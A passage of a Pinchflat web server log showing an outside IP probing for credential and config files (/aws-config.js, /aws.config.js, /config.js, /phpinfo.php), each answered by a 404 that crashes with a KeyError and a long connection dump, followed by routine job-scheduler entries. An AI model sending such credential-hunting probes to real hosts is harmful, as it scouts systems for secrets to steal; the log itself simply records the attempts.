PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdcsERFGAhowAAPgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 33, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 33, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3200.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdcsERFGAhowAAPgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 23:35:19.713 [info] GET /aws-config.js 23:35:19.714 [debug] QUERY OK source="settings" db=0.2ms idle=401.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.714 [debug] QUERY OK source="settings" db=0.1ms idle=273.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.714 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:19.715 [error] #PID<0.3201.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 34) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /aws-config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-config.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 34, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3201.0>, params: %{}, path_info: ["aws-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/aws-config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcddPhYu00ANkAAPhB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-config.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 34, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-config.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 34, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3201.0>, params: %{}, path_info: ["aws-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/aws-config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcddPhYu00ANkAAPhB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router (truncated) 23:35:19.828 [info] GET /aws.config.js 23:35:19.828 [debug] QUERY OK source="settings" db=0.1ms idle=262.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.828 [debug] QUERY OK source="settings" db=0.1ms idle=262.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.829 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:19.829 [error] #PID<0.3202.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 35) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /aws.config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws.config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws.config.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 35, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3202.0>, params: %{}, path_info: ["aws.config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/aws.config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcddqzGxdC8hUAAPiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws.config.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 35, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws.config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws.config.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 35, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3202.0>, params: %{}, path_info: ["aws.config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/aws.config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcddqzGxdC8hUAAPiB"} ], scheme: :http, script_name: [], secret_key_ (truncated) 23:35:19.961 [info] GET /phpinfo.php 23:35:19.962 [debug] QUERY OK source="settings" db=0.2ms idle=247.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.962 [debug] QUERY OK source="settings" db=0.1ms idle=247.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:19.962 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:19.962 [error] #PID<0.3203.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 36) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 36, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3203.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdeKmUWfAINsAAPjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 36, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 36, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3203.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdeKmUWfAINsAAPjB"} ], scheme: (truncated) 23:35:47.540 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.326 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:36:17.541 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:47.542 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.327 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:37:17.543 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:47.544 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.328 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:38:17.545 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:47.546 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.329 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:39:17.548 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:47.549 [info] 